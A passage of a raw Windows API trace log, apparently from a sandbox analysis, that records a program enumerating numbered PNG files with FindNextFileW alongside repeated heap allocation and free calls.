ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 1 [0080.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffa38 [0080.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232598 [0080.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.995] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8693fba5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8693fba5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffa58 [0080.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12326a0 [0080.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.996] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86965d02, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86965d02, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 1 [0080.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffa78 [0080.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12327a8 [0080.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.997] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 1 [0080.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffa98 [0080.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12328b0 [0080.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8698be5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8698be5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac34285, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 1 [0080.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffab8 [0081.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12329b8 [0081.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.000] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 1 [0081.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffad8 [0081.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232ac0 [0081.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.001] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 1 [0081.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffaf8 [0081.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232bc8 [0081.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.003] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d8119, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869d8119, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad3ec17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 1 [0081.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffb18 [0081.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232cd0 [0081.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869fe276, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869fe276, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 1 [0081.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffb38 [0081.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232dd8 [0081.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0081.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0081.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a4a530, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a4a530, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 1 [0081.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b08c01, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b08c01, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x0, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b2ed5e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b2ed5e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae495a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bed42f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bed42f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, 